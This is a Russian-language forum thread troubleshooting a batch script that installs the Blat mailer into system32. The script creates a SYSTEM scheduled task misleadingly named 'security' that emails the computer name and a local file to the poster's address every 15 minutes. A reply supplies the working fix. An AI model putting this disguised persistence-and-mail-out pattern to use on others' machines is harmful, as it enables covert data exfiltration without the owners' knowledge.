• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

Blat не отправляет письма

Bush_Kape

Green Team
24.01.2018
37
8
BIT
0
Идея такая: нужно что бы blat отправлял письма на почту каждые 15 минут, установка через батник.
Код:
move /y "blat.exe" "%SYSTEMROOT%\system32\blat.exe"
move /y "blat.lib" "%SYSTEMROOT%\system32\blat.lib"
move /y "blat.dll" "%SYSTEMROOT%\system32\blat.dll
move /y "blatdll.h" "%SYSTEMROOT%\system32\blatdll.h
%SYSTEMROOT%\System32\blat.exe -install aspmx.l.google.com моя_почта_от_кого_шлет@gmail.com 3 25 profile1 моя_почта_от_кого_шлет@gmail.com пароль C:\11.txt -subject %computername% -to моя_почта_куда_шлет@gmail.com
del C:\11.txt
schtasks /create /tn "security" /sc minute /mo 15 /ru "NT AUTHORITY\SYSTEM" /tr %systemroot%\system32\rm\ip.bat /f
pause
вывод:
Код:
F:\>move /y "blat.exe" "C:\Windows\system32\blat.exe"
перемещено файлов:         1.

F:\>move /y "blat.lib" "C:\Windows\system32\blat.lib"
перемещено файлов:         1.

F:\>move /y "blat.dll" "C:\Windows\system32\blat.dll
перемещено файлов:         1.

F:\>move /y "blatdll.h" "C:\Windows\system32\blatdll.h
перемещено файлов:         1.

F:\>C:\Windows\System32\blat.exe -install smtp.gmail.com моя_почта_куда_шлет@gmail.com 3
 25 profile1 моя_почта_куда_шлет@gmail.com пароль C:\11.txt -subject USER-PC -to моя_почта_куда_шлет@gmail.com
Blat v3.2.19 (build : Nov 18 2017 03:15:08)
64-bit Windows, Full, Unicode

SMTP server set to smtp.gmail.com on port 25 with user моя_почта_куда_шлет@gmail.com, re
try 3 time(s)

F:\>del C:\11.txt

F:\>schtasks /create /tn "security" /sc minute /mo 15 /ru "NT AUTHORITY\SYSTEM"
/tr C:\Windows\system32\rm\ip.bat /f
запланированная задача "security" была успешно создана.

F:\>pause
для продолжения нажмите любую клавишу . . .
настройку smpt с портами брал от сюда ->
Если знаете решение проблемы, буду при много благодарен!
 

dramanbase

Green Team
20.06.2018
164
188
BIT
0
Батник врятли сам сможет слаь письма каждые пять минут.Попробуй содать autorun.inf и настрой взяаимодействие между батником и автораном.И в общем будет сложно это сделать. Придеться создавать задачу и еще мого чего.Та что совет тебе, если ты хочешь завершить свою затею, попробуй покопаться в просторах инета, там может чтото быть.Больше ничем не могу тебе помочь, извини.Не очень силен в Windows. И пытаться делать норм проги на Windows это все равно что танцевать загипсованным.Практически все программисты используют линукс.Удачи тебе)

И еще, в загаловке не Blat а Bat
 

Bush_Kape

Green Team
24.01.2018
37
8
BIT
0
Подробнее пожалуйста
Да без проблем, вообщем дело в том что это консольная офигенная прога не умеет работать с ssl, и tls, а все бесплатные сервера перешили уже давно на туннелирование, поэтому BLAT не может подключиться.
есть 3 выхода:
1)это поставить и отладить stunnel прописав ручками конфиги для работы соединения через ssl. В этом случае батник выходит из области батника, что меня не устраивает, лишние телодвижения.
2)можно поднять smtp сервер, но это не имеет нужды ради пары машин
3)То чем воспользовался я, купил себе доменную почту за 50 рублей, есть куча хостингов которые предлагают вам заиметь собственную доменную почту, только перед покупкой, обязательно проверьте, предоставляют ли они право конфигурировать порты smtp почты. Я лично купил на hostmonster - не реклама, есть куча других сервесов, просто у меня там скидон))
А и еще код не много надо подправить:
Код:
%SYSTEMROOT%\System32\blat.exe -install ваш_smtp_сервер.com моя_почта_от_кого_шлет@gmail.com 3 25 моя_почта_от_кого_шлет@gmail.com пароль
%SYSTEMROOT%\System32\blat.exe -to моя_почта_куда_шлет@gmail.com -subject %computername% -body 1 -attach C:\11.txt
И все работает!
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!